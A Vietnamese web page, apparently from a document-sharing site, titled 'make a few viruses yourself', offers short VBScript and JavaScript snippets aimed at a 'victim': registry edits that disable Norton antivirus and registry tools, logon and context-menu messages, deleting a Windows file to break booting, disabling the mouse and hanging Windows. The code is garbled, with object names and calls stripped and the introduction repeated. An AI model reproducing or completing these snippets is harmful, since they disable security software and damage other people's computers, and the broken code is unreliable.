Tự tạo vài con virus

Chỉ với Notepad hay Wordpad bạn đã có thể tự tạo cho mình 1 "chú" Virus dưới dạng VBSCRIPT hoặc Javascript rồi: Dưới đây là code của một số con virus nhỏ dưới dạng VBS: cho victim khởi động máy: Dim wsh Set wsh = createobject("") " " | Tự tạo vài con virus chơi : trang này đã được đọc lần Chỉ với Notepad hay Wordpad bạn đã có thể tự tạo cho mình 1 "chú" Virus dưới dạng VBSCRIPT hoặc Javascript rồi: Dưới đây là code của một số con virus nhỏ dưới dạng VBS: cho victim khởi động máy: Dim wsh Set wsh = createobject("") " " 2. Disable NAV: Dim wsh Set wsh= CreateObject( "") s1 = "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Norton Program Scheduler\Start" s1,3, "REG_DWORD" 3. Hiển thị một message mỗi khi reboot máy: dim wsh Set wsh = CreateObject( "" ) s1 = "HKLM\Software\Microsoft\Windows\CurrentVersion\WinLogon\" s2 = "LegalNoticeCaption" s3 = "LegalNoticeText" s1+s2, "" s1+s3, "Hi ! Toi la TrungWK- Toi den tu Chip&" 4. Hiển thị một dòng lệnh khi click vào file hay folder: set reg=createobject("") "HKEY_CLASSES_ROOT\*\Shell\\","Hi ! Ban da bi nhiem WK tu Chip&" "HKEY_CLASSES_ROOT\folder\shell\Hi ! Ban da bi nhiem WK tu Chip&\","Robinhood" 5. Làm cho các trò trên hoạt động bình thường: Dim objShell Set objShell = CreateObject( "" ) s1 = "HKEY_USERS\.Default\Software\Microsoft\Windows\CurrentVersion\" s2 = "Policies\System\DisableRegistryTools" s1+s2,1, "REG_DWORD" Dưới dạng Javascipt : var wsh; wsh=new ActiveXObject (""); // Winlogon when reboot var s1 = "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\WinLogon\\"; var s2 = "LegalNoticeCaption"; var s3 = "LegalNoticeText"; (s1+ s2, "") ; (s1+s3, "Hi ! Toi la Anti_Love. Toi den tu Chip&") ; //Disable Registry var s1 = "HKEY_USERS\\.Default\\Software\\Microsoft\\Windows\\CurrentVersion\\"; var s2 = "Policies\\System\\DisableRegistryTools" ; (s1+s2,0,"REG_DWORD"); //Delete file làm cho victim khởi động tới Registry luôn var fso; fso=new ActiveXObject(""); var fe=("C:\\windows\\); true; //Disable Mouse (" mouse,disable"); //Hang up windows ("rundll32 user,disableoemlayer");

Bấm vào đây để xem trước nội dung
TỪ KHÓA LIÊN QUAN
TÀI LIỆU MỚI ĐĂNG
8    62    2    29-04-2024
Đã phát hiện trình chặn quảng cáo AdBlock
Trang web này phụ thuộc vào doanh thu từ số lần hiển thị quảng cáo để tồn tại. Vui lòng tắt trình chặn quảng cáo của bạn hoặc tạm dừng tính năng chặn quảng cáo cho trang web này.